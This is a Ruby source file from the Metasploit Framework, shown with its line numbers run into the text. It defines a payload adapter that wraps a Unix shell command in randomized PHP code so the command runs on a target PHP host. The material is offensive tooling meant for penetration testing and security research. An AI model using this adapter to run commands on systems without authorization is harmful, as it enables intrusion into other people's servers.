Path: blob/master/modules/payloads/adapters/php/unix/cmd.rb
19579 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6include Msf::Payload::Adapter78def initialize(info = {})9super(10update_info(11info,12'Name' => 'OS Command Exec',13'Description' => 'Execute an OS command from PHP',14'Author' => 'Spencer McIntyre',15'Platform' => 'php',16'Arch' => ARCH_PHP,17'License' => MSF_LICENSE,18'AdaptedArch' => ARCH_CMD,19'AdaptedPlatform' => 'unix'20)21)22end2324def generate(_opts = {})25payload = super2627vars = Rex::RandomIdentifier::Generator.new(language: :php)2829<<~TEXT30#{Msf::Payload::Php.preamble(vars_generator: vars)}31#{Msf::Payload::Php.system_block(vars_generator: vars, cmd: payload)}32?>33TEXT34end35end363738